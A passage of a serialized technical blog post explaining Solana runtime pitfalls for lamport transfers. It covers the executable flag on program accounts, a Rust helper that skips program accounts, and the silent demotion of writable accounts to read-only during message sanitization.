change\n",{"type":24,"tag":271,"props":80206,"children":80207},{"class":273,"line":420},[80208,80212,80216,80220,80224,80228,80232,80236],{"type":24,"tag":271,"props":80209,"children":80210},{"style":749},[80211],{"type":29,"value":5025},{"type":24,"tag":271,"props":80213,"children":80214},{"style":278},[80215],{"type":29,"value":21497},{"type":24,"tag":271,"props":80217,"children":80218},{"style":624},[80219],{"type":29,"value":41},{"type":24,"tag":271,"props":80221,"children":80222},{"style":598},[80223],{"type":29,"value":80007},{"type":24,"tag":271,"props":80225,"children":80226},{"style":288},[80227],{"type":29,"value":21742},{"type":24,"tag":271,"props":80229,"children":80230},{"style":624},[80231],{"type":29,"value":5059},{"type":24,"tag":271,"props":80233,"children":80234},{"style":630},[80235],{"type":29,"value":79990},{"type":24,"tag":271,"props":80237,"children":80238},{"style":288},[80239],{"type":29,"value":7145},{"type":24,"tag":271,"props":80241,"children":80242},{"class":273,"line":429},[80243,80247,80251],{"type":24,"tag":271,"props":80244,"children":80245},{"style":749},[80246],{"type":29,"value":8905},{"type":24,"tag":271,"props":80248,"children":80249},{"style":3887},[80250],{"type":29,"value":50602},{"type":24,"tag":271,"props":80252,"children":80253},{"style":288},[80254],{"type":29,"value":80255},"(());\n",{"type":24,"tag":271,"props":80257,"children":80258},{"class":273,"line":438},[80259],{"type":24,"tag":271,"props":80260,"children":80261},{"style":288},[80262],{"type":29,"value":4385},{"type":24,"tag":271,"props":80264,"children":80265},{"class":273,"line":447},[80266,80270,80274,80279,80283,80287],{"type":24,"tag":271,"props":80267,"children":80268},{"style":278},[80269],{"type":29,"value":28473},{"type":24,"tag":271,"props":80271,"children":80272},{"style":624},[80273],{"type":29,"value":41},{"type":24,"tag":271,"props":80275,"children":80276},{"style":598},[80277],{"type":29,"value":80278},"touch",{"type":24,"tag":271,"props":80280,"children":80281},{"style":288},[80282],{"type":29,"value":21579},{"type":24,"tag":271,"props":80284,"children":80285},{"style":624},[80286],{"type":29,"value":10887},{"type":24,"tag":271,"props":80288,"children":80289},{"style":288},[80290],{"type":29,"value":1069},{"type":24,"tag":271,"props":80292,"children":80293},{"class":273,"line":455},[80294,80298,80302,80306,80310,80314,80318,80322],{"type":24,"tag":271,"props":80295,"children":80296},{"style":278},[80297],{"type":29,"value":28473},{"type":24,"tag":271,"props":80299,"children":80300},{"style":624},[80301],{"type":29,"value":41},{"type":24,"tag":271,"props":80303,"children":80304},{"style":288},[80305],{"type":29,"value":20653},{"type":24,"tag":271,"props":80307,"children":80308},{"style":624},[80309],{"type":29,"value":41},{"type":24,"tag":271,"props":80311,"children":80312},{"style":598},[80313],{"type":29,"value":79821},{"type":24,"tag":271,"props":80315,"children":80316},{"style":288},[80317],{"type":29,"value":606},{"type":24,"tag":271,"props":80319,"children":80320},{"style":630},[80321],{"type":29,"value":23209},{"type":24,"tag":271,"props":80323,"children":80324},{"style":288},[80325],{"type":29,"value":1155},{"type":24,"tag":271,"props":80327,"children":80328},{"class":273,"line":464},[80329,80333],{"type":24,"tag":271,"props":80330,"children":80331},{"style":3887},[80332],{"type":29,"value":22031},{"type":24,"tag":271,"props":80334,"children":80335},{"style":288},[80336],{"type":29,"value":22036},{"type":24,"tag":271,"props":80338,"children":80339},{"class":273,"line":473},[80340],{"type":24,"tag":271,"props":80341,"children":80342},{"style":288},[80343],{"type":29,"value":1171},{"type":24,"tag":271,"props":80345,"children":80346},{"class":273,"line":483},[80347],{"type":24,"tag":271,"props":80348,"children":80349},{"emptyLinePlaceholder":16},[80350],{"type":29,"value":327},{"type":24,"tag":271,"props":80352,"children":80353},{"class":273,"line":491},[80354],{"type":24,"tag":271,"props":80355,"children":80356},{"style":2058},[80357],{"type":29,"value":80358},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":24,"tag":271,"props":80360,"children":80361},{"class":273,"line":499},[80362,80366,80370,80374],{"type":24,"tag":271,"props":80363,"children":80364},{"style":288},[80365],{"type":29,"value":79859},{"type":24,"tag":271,"props":80367,"children":80368},{"style":624},[80369],{"type":29,"value":762},{"type":24,"tag":271,"props":80371,"children":80372},{"style":378},[80373],{"type":29,"value":79868},{"type":24,"tag":271,"props":80375,"children":80376},{"style":288},[80377],{"type":29,"value":28296},{"type":24,"tag":271,"props":80379,"children":80380},{"class":273,"line":3188},[80381],{"type":24,"tag":271,"props":80382,"children":80383},{"style":288},[80384],{"type":29,"value":80385},"#[inline]\n",{"type":24,"tag":271,"props":80387,"children":80388},{"class":273,"line":3247},[80389,80393,80398,80402,80406,80410,80414,80418,80422],{"type":24,"tag":271,"props":80390,"children":80391},{"style":278},[80392],{"type":29,"value":27955},{"type":24,"tag":271,"props":80394,"children":80395},{"style":598},[80396],{"type":29,"value":80397}," is_executable_internal",{"type":24,"tag":271,"props":80399,"children":80400},{"style":288},[80401],{"type":29,"value":606},{"type":24,"tag":271,"props":80403,"children":80404},{"style":624},[80405],{"type":29,"value":1137},{"type":24,"tag":271,"props":80407,"children":80408},{"style":278},[80409],{"type":29,"value":21414},{"type":24,"tag":271,"props":80411,"children":80412},{"style":288},[80413],{"type":29,"value":8823},{"type":24,"tag":271,"props":80415,"children":80416},{"style":624},[80417],{"type":29,"value":786},{"type":24,"tag":271,"props":80419,"children":80420},{"style":3887},[80421],{"type":29,"value":19753},{"type":24,"tag":271,"props":80423,"children":80424},{"style":288},[80425],{"type":29,"value":7145},{"type":24,"tag":271,"props":80427,"children":80428},{"class":273,"line":3255},[80429,80433],{"type":24,"tag":271,"props":80430,"children":80431},{"style":624},[80432],{"type":29,"value":28657},{"type":24,"tag":271,"props":80434,"children":80435},{"style":278},[80436],{"type":29,"value":80437},"self\n",{"type":24,"tag":271,"props":80439,"children":80440},{"class":273,"line":3263},[80441,80445],{"type":24,"tag":271,"props":80442,"children":80443},{"style":624},[80444],{"type":29,"value":75047},{"type":24,"tag":271,"props":80446,"children":80447},{"style":288},[80448],{"type":29,"value":80449},"transaction_context\n",{"type":24,"tag":271,"props":80451,"children":80452},{"class":273,"line":3293},[80453,80457],{"type":24,"tag":271,"props":80454,"children":80455},{"style":624},[80456],{"type":29,"value":75047},{"type":24,"tag":271,"props":80458,"children":80459},{"style":288},[80460],{"type":29,"value":80461},"remove_accounts_executable_flag_checks\n",{"type":24,"tag":271,"props":80463,"children":80464},{"class":273,"line":3301},[80465,80469,80473,80477,80481,80485,80489],{"type":24,"tag":271,"props":80466,"children":80467},{"style":624},[80468],{"type":29,"value":50466},{"type":24,"tag":271,"props":80470,"children":80471},{"style":278},[80472],{"type":29,"value":21497},{"type":24,"tag":271,"props":80474,"children":80475},{"style":624},[80476],{"type":29,"value":41},{"type":24,"tag":271,"props":80478,"children":80479},{"style":288},[80480],{"type":29,"value":20653},{"type":24,"tag":271,"props":80482,"children":80483},{"style":624},[80484],{"type":29,"value":41},{"type":24,"tag":271,"props":80486,"children":80487},{"style":598},[80488],{"type":29,"value":23353},{"type":24,"tag":271,"props":80490,"children":80491},{"style":288},[80492],{"type":29,"value":15452},{"type":24,"tag":271,"props":80494,"children":80495},{"class":273,"line":3683},[80496],{"type":24,"tag":271,"props":80497,"children":80498},{"style":288},[80499],{"type":29,"value":1171},{"type":24,"tag":25,"props":80501,"children":80502},{},[80503],{"type":29,"value":80504},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":24,"tag":25,"props":80506,"children":80507},{},[80508,80510,80515],{"type":29,"value":80509},"Specifically, ",{"type":24,"tag":213,"props":80511,"children":80512},{},[80513],{"type":29,"value":80514},"executable accounts",{"type":29,"value":80516}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":24,"tag":26585,"props":80518,"children":80520},{"id":80519},"sidebar-whats-the-executable-flag-anyway",[80521],{"type":29,"value":80522},"Sidebar: What's the executable Flag Anyway?",{"type":24,"tag":25,"props":80524,"children":80525},{},[80526,80527,80532],{"type":29,"value":1422},{"type":24,"tag":135,"props":80528,"children":80530},{"className":80529},[],[80531],{"type":29,"value":23353},{"type":29,"value":80533}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":24,"tag":25,"props":80535,"children":80536},{},[80537,80539,80544],{"type":29,"value":80538},"This behavior became problematic with the introduction of the ",{"type":24,"tag":213,"props":80540,"children":80541},{},[80542],{"type":29,"value":80543},"Upgradeable BPF Loader",{"type":29,"value":80545},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":24,"tag":261,"props":80547,"children":80549},{"className":10718,"code":80548,"language":10717,"meta":7,"style":7},"Program {\n /// Address of the ProgramData account.\n programdata_address: Pubkey,\n},\nProgramData {\n /// Slot that the program was last modified.\n slot: u64,\n /// Address of the Program's upgrade authority.\n upgrade_authority_address: Option\u003CPubkey>,\n // The raw program data follows this serialized structure in the\n // account's data.\n},\n",[80550],{"type":24,"tag":135,"props":80551,"children":80552},{"__ignoreMap":7},[80553,80565,80573,80593,80601,80613,80621,80641,80649,80677,80685,80693],{"type":24,"tag":271,"props":80554,"children":80555},{"class":273,"line":274},[80556,80561],{"type":24,"tag":271,"props":80557,"children":80558},{"style":3887},[80559],{"type":29,"value":80560},"Program",{"type":24,"tag":271,"props":80562,"children":80563},{"style":288},[80564],{"type":29,"value":7145},{"type":24,"tag":271,"props":80566,"children":80567},{"class":273,"line":284},[80568],{"type":24,"tag":271,"props":80569,"children":80570},{"style":2058},[80571],{"type":29,"value":80572}," /// Address of the ProgramData account.\n",{"type":24,"tag":271,"props":80574,"children":80575},{"class":273,"line":294},[80576,80581,80585,80589],{"type":24,"tag":271,"props":80577,"children":80578},{"style":630},[80579],{"type":29,"value":80580}," programdata_address",{"type":24,"tag":271,"props":80582,"children":80583},{"style":624},[80584],{"type":29,"value":12210},{"type":24,"tag":271,"props":80586,"children":80587},{"style":3887},[80588],{"type":29,"value":28544},{"type":24,"tag":271,"props":80590,"children":80591},{"style":288},[80592],{"type":29,"value":638},{"type":24,"tag":271,"props":80594,"children":80595},{"class":273,"line":303},[80596],{"type":24,"tag":271,"props":80597,"children":80598},{"style":288},[80599],{"type":29,"value":80600},"},\n",{"type":24,"tag":271,"props":80602,"children":80603},{"class":273,"line":312},[80604,80609],{"type":24,"tag":271,"props":80605,"children":80606},{"style":3887},[80607],{"type":29,"value":80608},"ProgramData",{"type":24,"tag":271,"props":80610,"children":80611},{"style":288},[80612],{"type":29,"value":7145},{"type":24,"tag":271,"props":80614,"children":80615},{"class":273,"line":321},[80616],{"type":24,"tag":271,"props":80617,"children":80618},{"style":2058},[80619],{"type":29,"value":80620}," /// Slot that the program was last modified.\n",{"type":24,"tag":271,"props":80622,"children":80623},{"class":273,"line":330},[80624,80629,80633,80637],{"type":24,"tag":271,"props":80625,"children":80626},{"style":630},[80627],{"type":29,"value":80628}," slot",{"type":24,"tag":271,"props":80630,"children":80631},{"style":624},[80632],{"type":29,"value":12210},{"type":24,"tag":271,"props":80634,"children":80635},{"style":3887},[80636],{"type":29,"value":13576},{"type":24,"tag":271,"props":80638,"children":80639},{"style":288},[80640],{"type":29,"value":638},{"type":24,"tag":271,"props":80642,"children":80643},{"class":273,"line":339},[80644],{"type":24,"tag":271,"props":80645,"children":80646},{"style":2058},[80647],{"type":29,"value":80648}," /// Address of the Program's upgrade authority.\n",{"type":24,"tag":271,"props":80650,"children":80651},{"class":273,"line":347},[80652,80657,80661,80665,80669,80673],{"type":24,"tag":271,"props":80653,"children":80654},{"style":630},[80655],{"type":29,"value":80656}," upgrade_authority_address",{"type":24,"tag":271,"props":80658,"children":80659},{"style":624},[80660],{"type":29,"value":12210},{"type":24,"tag":271,"props":80662,"children":80663},{"style":3887},[80664],{"type":29,"value":35322},{"type":24,"tag":271,"props":80666,"children":80667},{"style":288},[80668],{"type":29,"value":801},{"type":24,"tag":271,"props":80670,"children":80671},{"style":3887},[80672],{"type":29,"value":29084},{"type":24,"tag":271,"props":80674,"children":80675},{"style":288},[80676],{"type":29,"value":13855},{"type":24,"tag":271,"props":80678,"children":80679},{"class":273,"line":356},[80680],{"type":24,"tag":271,"props":80681,"children":80682},{"style":2058},[80683],{"type":29,"value":80684}," // The raw program data follows this serialized structure in the\n",{"type":24,"tag":271,"props":80686,"children":80687},{"class":273,"line":365},[80688],{"type":24,"tag":271,"props":80689,"children":80690},{"style":2058},[80691],{"type":29,"value":80692}," // account's data.\n",{"type":24,"tag":271,"props":80694,"children":80695},{"class":273,"line":374},[80696],{"type":24,"tag":271,"props":80697,"children":80698},{"style":288},[80699],{"type":29,"value":80600},{"type":24,"tag":25,"props":80701,"children":80702},{},[80703,80705,80712],{"type":29,"value":80704},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":24,"tag":32,"props":80706,"children":80709},{"href":80707,"rel":80708},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[36],[80710],{"type":29,"value":80711},"SIMD-0162",{"type":29,"value":80713},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":24,"tag":25,"props":80715,"children":80716},{},[80717,80719,80724,80726,80731],{"type":29,"value":80718},"This change is also a ",{"type":24,"tag":213,"props":80720,"children":80721},{},[80722],{"type":29,"value":80723},"hard requirement for supporting the new loader-v4",{"type":29,"value":80725},". Unlike the upgradable loader, which relies on a separate ",{"type":24,"tag":135,"props":80727,"children":80729},{"className":80728},[],[80730],{"type":29,"value":80608},{"type":29,"value":80732}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":24,"tag":25,"props":80734,"children":80735},{},[80736,80738,80745,80747,80752],{"type":29,"value":80737},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":24,"tag":32,"props":80739,"children":80742},{"href":80740,"rel":80741},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[36],[80743],{"type":29,"value":80744},"migrate",{"type":29,"value":80746}," from the upgradable loader to loader-v4 — without hitting the ",{"type":24,"tag":135,"props":80748,"children":80750},{"className":80749},[],[80751],{"type":29,"value":80185},{"type":29,"value":80753}," restriction.",{"type":24,"tag":26585,"props":80755,"children":80757},{"id":80756},"fix-2-reject-program-accounts",[80758],{"type":29,"value":80759},"Fix 2: Reject Program Accounts",{"type":24,"tag":25,"props":80761,"children":80762},{},[80763],{"type":29,"value":80764},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":24,"tag":261,"props":80766,"children":80768},{"className":10718,"code":80767,"language":10717,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n && rent.is_exempt(balance_after, account.data_len())\n && !is_program(account))\n}\n",[80769],{"type":24,"tag":135,"props":80770,"children":80771},{"__ignoreMap":7},[80772,80848,80896,80912,80919,80958,81002,81026,81075,81103],{"type":24,"tag":271,"props":80773,"children":80774},{"class":273,"line":274},[80775,80779,80783,80788,80792,80796,80800,80804,80808,80812,80816,80820,80824,80828,80832,80836,80840,80844],{"type":24,"tag":271,"props":80776,"children":80777},{"style":278},[80778],{"type":29,"value":21391},{"type":24,"tag":271,"props":80780,"children":80781},{"style":278},[80782],{"type":29,"value":21396},{"type":24,"tag":271,"props":80784,"children":80785},{"style":598},[80786],{"type":29,"value":80787}," can_transfer_lamports",{"type":24,"tag":271,"props":80789,"children":80790},{"style":288},[80791],{"type":29,"value":606},{"type":24,"tag":271,"props":80793,"children":80794},{"style":630},[80795],{"type":29,"value":20653},{"type":24,"tag":271,"props":80797,"children":80798},{"style":624},[80799],{"type":29,"value":12210},{"type":24,"tag":271,"props":80801,"children":80802},{"style":624},[80803],{"type":29,"value":14858},{"type":24,"tag":271,"props":80805,"children":80806},{"style":3887},[80807],{"type":29,"value":22636},{"type":24,"tag":271,"props":80809,"children":80810},{"style":288},[80811],{"type":29,"value":158},{"type":24,"tag":271,"props":80813,"children":80814},{"style":630},[80815],{"type":29,"value":23209},{"type":24,"tag":271,"props":80817,"children":80818},{"style":624},[80819],{"type":29,"value":12210},{"type":24,"tag":271,"props":80821,"children":80822},{"style":3887},[80823],{"type":29,"value":13576},{"type":24,"tag":271,"props":80825,"children":80826},{"style":288},[80827],{"type":29,"value":8823},{"type":24,"tag":271,"props":80829,"children":80830},{"style":624},[80831],{"type":29,"value":786},{"type":24,"tag":271,"props":80833,"children":80834},{"style":3887},[80835],{"type":29,"value":21462},{"type":24,"tag":271,"props":80837,"children":80838},{"style":288},[80839],{"type":29,"value":801},{"type":24,"tag":271,"props":80841,"children":80842},{"style":3887},[80843],{"type":29,"value":37360},{"type":24,"tag":271,"props":80845,"children":80846},{"style":288},[80847],{"type":29,"value":14997},{"type":24,"tag":271,"props":80849,"children":80850},{"class":273,"line":284},[80851,80855,80860,80864,80868,80872,80876,80880,80884,80888,80892],{"type":24,"tag":271,"props":80852,"children":80853},{"style":278},[80854],{"type":29,"value":27955},{"type":24,"tag":271,"props":80856,"children":80857},{"style":598},[80858],{"type":29,"value":80859}," is_program",{"type":24,"tag":271,"props":80861,"children":80862},{"style":288},[80863],{"type":29,"value":606},{"type":24,"tag":271,"props":80865,"children":80866},{"style":630},[80867],{"type":29,"value":20653},{"type":24,"tag":271,"props":80869,"children":80870},{"style":624},[80871],{"type":29,"value":12210},{"type":24,"tag":271,"props":80873,"children":80874},{"style":624},[80875],{"type":29,"value":14858},{"type":24,"tag":271,"props":80877,"children":80878},{"style":3887},[80879],{"type":29,"value":22636},{"type":24,"tag":271,"props":80881,"children":80882},{"style":288},[80883],{"type":29,"value":8823},{"type":24,"tag":271,"props":80885,"children":80886},{"style":624},[80887],{"type":29,"value":786},{"type":24,"tag":271,"props":80889,"children":80890},{"style":3887},[80891],{"type":29,"value":19753},{"type":24,"tag":271,"props":80893,"children":80894},{"style":288},[80895],{"type":29,"value":7145},{"type":24,"tag":271,"props":80897,"children":80898},{"class":273,"line":294},[80899,80903,80907],{"type":24,"tag":271,"props":80900,"children":80901},{"style":630},[80902],{"type":29,"value":32847},{"type":24,"tag":271,"props":80904,"children":80905},{"style":624},[80906],{"type":29,"value":41},{"type":24,"tag":271,"props":80908,"children":80909},{"style":288},[80910],{"type":29,"value":80911},"executable\n",{"type":24,"tag":271,"props":80913,"children":80914},{"class":273,"line":303},[80915],{"type":24,"tag":271,"props":80916,"children":80917},{"style":288},[80918],{"type":29,"value":1171},{"type":24,"tag":271,"props":80920,"children":80921},{"class":273,"line":312},[80922,80926,80930,80934,80938,80942,80946,80950,80954],{"type":24,"tag":271,"props":80923,"children":80924},{"style":278},[80925],{"type":29,"value":19490},{"type":24,"tag":271,"props":80927,"children":80928},{"style":630},[80929],{"type":29,"value":79679},{"type":24,"tag":271,"props":80931,"children":80932},{"style":624},[80933],{"type":29,"value":1712},{"type":24,"tag":271,"props":80935,"children":80936},{"style":3887},[80937],{"type":29,"value":51137},{"type":24,"tag":271,"props":80939,"children":80940},{"style":624},[80941],{"type":29,"value":11207},{"type":24,"tag":271,"props":80943,"children":80944},{"style":598},[80945],{"type":29,"value":24048},{"type":24,"tag":271,"props":80947,"children":80948},{"style":288},[80949],{"type":29,"value":21579},{"type":24,"tag":271,"props":80951,"children":80952},{"style":624},[80953],{"type":29,"value":10887},{"type":24,"tag":271,"props":80955,"children":80956},{"style":288},[80957],{"type":29,"value":1069},{"type":24,"tag":271,"props":80959,"children":80960},{"class":273,"line":321},[80961,80965,80970,80974,80978,80982,80986,80990,80994,80998],{"type":24,"tag":271,"props":80962,"children":80963},{"style":278},[80964],{"type":29,"value":19490},{"type":24,"tag":271,"props":80966,"children":80967},{"style":630},[80968],{"type":29,"value":80969}," balance_after",{"type":24,"tag":271,"props":80971,"children":80972},{"style":624},[80973],{"type":29,"value":1712},{"type":24,"tag":271,"props":80975,"children":80976},{"style":630},[80977],{"type":29,"value":13200},{"type":24,"tag":271,"props":80979,"children":80980},{"style":624},[80981],{"type":29,"value":41},{"type":24,"tag":271,"props":80983,"children":80984},{"style":598},[80985],{"type":29,"value":23209},{"type":24,"tag":271,"props":80987,"children":80988},{"style":288},[80989],{"type":29,"value":21742},{"type":24,"tag":271,"props":80991,"children":80992},{"style":624},[80993],{"type":29,"value":1012},{"type":24,"tag":271,"props":80995,"children":80996},{"style":630},[80997],{"type":29,"value":79990},{"type":24,"tag":271,"props":80999,"children":81000},{"style":288},[81001],{"type":29,"value":1069},{"type":24,"tag":271,"props":81003,"children":81004},{"class":273,"line":330},[81005,81009,81013,81017,81021],{"type":24,"tag":271,"props":81006,"children":81007},{"style":3887},[81008],{"type":29,"value":28177},{"type":24,"tag":271,"props":81010,"children":81011},{"style":288},[81012],{"type":29,"value":606},{"type":24,"tag":271,"props":81014,"children":81015},{"style":630},[81016],{"type":29,"value":20653},{"type":24,"tag":271,"props":81018,"children":81019},{"style":624},[81020],{"type":29,"value":41},{"type":24,"tag":271,"props":81022,"children":81023},{"style":288},[81024],{"type":29,"value":81025},"is_writable\n",{"type":24,"tag":271,"props":81027,"children":81028},{"class":273,"line":339},[81029,81033,81037,81041,81046,81050,81055,81059,81063,81067,81071],{"type":24,"tag":271,"props":81030,"children":81031},{"style":624},[81032],{"type":29,"value":23319},{"type":24,"tag":271,"props":81034,"children":81035},{"style":630},[81036],{"type":29,"value":79679},{"type":24,"tag":271,"props":81038,"children":81039},{"style":624},[81040],{"type":29,"value":41},{"type":24,"tag":271,"props":81042,"children":81043},{"style":598},[81044],{"type":29,"value":81045},"is_exempt",{"type":24,"tag":271,"props":81047,"children":81048},{"style":288},[81049],{"type":29,"value":606},{"type":24,"tag":271,"props":81051,"children":81052},{"style":630},[81053],{"type":29,"value":81054},"balance_after",{"type":24,"tag":271,"props":81056,"children":81057},{"style":288},[81058],{"type":29,"value":158},{"type":24,"tag":271,"props":81060,"children":81061},{"style":630},[81062],{"type":29,"value":20653},{"type":24,"tag":271,"props":81064,"children":81065},{"style":624},[81066],{"type":29,"value":41},{"type":24,"tag":271,"props":81068,"children":81069},{"style":598},[81070],{"type":29,"value":21506},{"type":24,"tag":271,"props":81072,"children":81073},{"style":288},[81074],{"type":29,"value":23358},{"type":24,"tag":271,"props":81076,"children":81077},{"class":273,"line":347},[81078,81082,81086,81091,81095,81099],{"type":24,"tag":271,"props":81079,"children":81080},{"style":624},[81081],{"type":29,"value":23319},{"type":24,"tag":271,"props":81083,"children":81084},{"style":624},[81085],{"type":29,"value":20564},{"type":24,"tag":271,"props":81087,"children":81088},{"style":598},[81089],{"type":29,"value":81090},"is_program",{"type":24,"tag":271,"props":81092,"children":81093},{"style":288},[81094],{"type":29,"value":606},{"type":24,"tag":271,"props":81096,"children":81097},{"style":630},[81098],{"type":29,"value":20653},{"type":24,"tag":271,"props":81100,"children":81101},{"style":288},[81102],{"type":29,"value":27401},{"type":24,"tag":271,"props":81104,"children":81105},{"class":273,"line":356},[81106],{"type":24,"tag":271,"props":81107,"children":81108},{"style":288},[81109],{"type":29,"value":1171},{"type":24,"tag":25,"props":81111,"children":81112},{},[81113],{"type":29,"value":81114},"Now we’re safe...right?",{"type":24,"tag":85,"props":81116,"children":81118},{"id":81117},"bug-3-the-write-demotion-trap",[81119],{"type":29,"value":81120},"Bug 3: The Write-Demotion Trap",{"type":24,"tag":25,"props":81122,"children":81123},{},[81124,81126,81131,81133,81138],{"type":29,"value":81125},"On Solana, accounts passed as ",{"type":24,"tag":213,"props":81127,"children":81128},{},[81129],{"type":29,"value":81130},"writable",{"type":29,"value":81132}," in a transaction can be ",{"type":24,"tag":213,"props":81134,"children":81135},{},[81136],{"type":29,"value":81137},"silently downgraded to read-only",{"type":29,"value":81139},". This behavior occurs during message sanitization — even before your program runs.",{"type":24,"tag":25,"props":81141,"children":81142},{},[81143,81145,81152],{"type":29,"value":81144},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":24,"tag":32,"props":81146,"children":81149},{"href":81147,"rel":81148},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[36],[81150],{"type":29,"value":81151},"MessageV0",{"type":29,"value":81153},", but legacy is simpler to follow):",{"type":24,"tag":261,"props":81155,"children":81157},{"className":10718,"code":81156,"language":10717,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n let is_writable_account_cache = message\n .account_keys\n .iter()\n .enumerate()\n .map(|(i, _key)| {\n message.is_writable_index(i)\n && !reserved_account_keys.contains(&message.account_keys[i])\n && !message.demote_program_id(i)\n })\n .collect::\u003CVec\u003C_>>();\n Self {\n message: Cow::Owned(message),\n is_writable_account_cache,\n }\n }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[81158],{"type":24,"tag":135,"props":81159,"children":81160},{"__ignoreMap":7},[81161,81169,81193,81281,81302,81314,81330,81346,81394,81423,81477,81513,81521,81558,81570,81608,81620,81627,81634,81641,81648,81656,81716,81769],{"type":24,"tag":271,"props":81162,"children":81163},{"class":273,"line":274},[81164],{"type":24,"tag":271,"props":81165,"children":81166},{"style":2058},[81167],{"type":29,"value":81168},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":24,"tag":271,"props":81170,"children":81171},{"class":273,"line":284},[81172,81176,81181,81185,81189],{"type":24,"tag":271,"props":81173,"children":81174},{"style":278},[81175],{"type":29,"value":35871},{"type":24,"tag":271,"props":81177,"children":81178},{"style":3887},[81179],{"type":29,"value":81180}," LegacyMessage",{"type":24,"tag":271,"props":81182,"children":81183},{"style":288},[81184],{"type":29,"value":30608},{"type":24,"tag":271,"props":81186,"children":81187},{"style":3887},[81188],{"type":29,"value":10818},{"type":24,"tag":271,"props":81190,"children":81191},{"style":288},[81192],{"type":29,"value":14997},{"type":24,"tag":271,"props":81194,"children":81195},{"class":273,"line":294},[81196,81200,81204,81208,81212,81216,81220,81225,81229,81234,81238,81243,81247,81251,81256,81260,81264,81268,81272,81277],{"type":24,"tag":271,"props":81197,"children":81198},{"style":278},[81199],{"type":29,"value":28530},{"type":24,"tag":271,"props":81201,"children":81202},{"style":278},[81203],{"type":29,"value":21396},{"type":24,"tag":271,"props":81205,"children":81206},{"style":598},[81207],{"type":29,"value":39603},{"type":24,"tag":271,"props":81209,"children":81210},{"style":288},[81211],{"type":29,"value":606},{"type":24,"tag":271,"props":81213,"children":81214},{"style":630},[81215],{"type":29,"value":74824},{"type":24,"tag":271,"props":81217,"children":81218},{"style":624},[81219],{"type":29,"value":12210},{"type":24,"tag":271,"props":81221,"children":81222},{"style":288},[81223],{"type":29,"value":81224}," legacy",{"type":24,"tag":271,"props":81226,"children":81227},{"style":624},[81228],{"type":29,"value":11207},{"type":24,"tag":271,"props":81230,"children":81231},{"style":3887},[81232],{"type":29,"value":81233},"Message",{"type":24,"tag":271,"props":81235,"children":81236},{"style":288},[81237],{"type":29,"value":158},{"type":24,"tag":271,"props":81239,"children":81240},{"style":630},[81241],{"type":29,"value":81242},"reserved_account_keys",{"type":24,"tag":271,"props":81244,"children":81245},{"style":624},[81246],{"type":29,"value":12210},{"type":24,"tag":271,"props":81248,"children":81249},{"style":624},[81250],{"type":29,"value":14858},{"type":24,"tag":271,"props":81252,"children":81253},{"style":3887},[81254],{"type":29,"value":81255},"HashSet",{"type":24,"tag":271,"props":81257,"children":81258},{"style":288},[81259],{"type":29,"value":801},{"type":24,"tag":271,"props":81261,"children":81262},{"style":3887},[81263],{"type":29,"value":29084},{"type":24,"tag":271,"props":81265,"children":81266},{"style":288},[81267],{"type":29,"value":28134},{"type":24,"tag":271,"props":81269,"children":81270},{"style":624},[81271],{"type":29,"value":786},{"type":24,"tag":271,"props":81273,"children":81274},{"style":278},[81275],{"type":29,"value":81276}," Self",{"type":24,"tag":271,"props":81278,"children":81279},{"style":288},[81280],{"type":29,"value":7145},{"type":24,"tag":271,"props":81282,"children":81283},{"class":273,"line":303},[81284,81288,81293,81297],{"type":24,"tag":271,"props":81285,"children":81286},{"style":278},[81287],{"type":29,"value":10800},{"type":24,"tag":271,"props":81289,"children":81290},{"style":630},[81291],{"type":29,"value":81292}," is_writable_account_cache",{"type":24,"tag":271,"props":81294,"children":81295},{"style":624},[81296],{"type":29,"value":1712},{"type":24,"tag":271,"props":81298,"children":81299},{"style":630},[81300],{"type":29,"value":81301}," 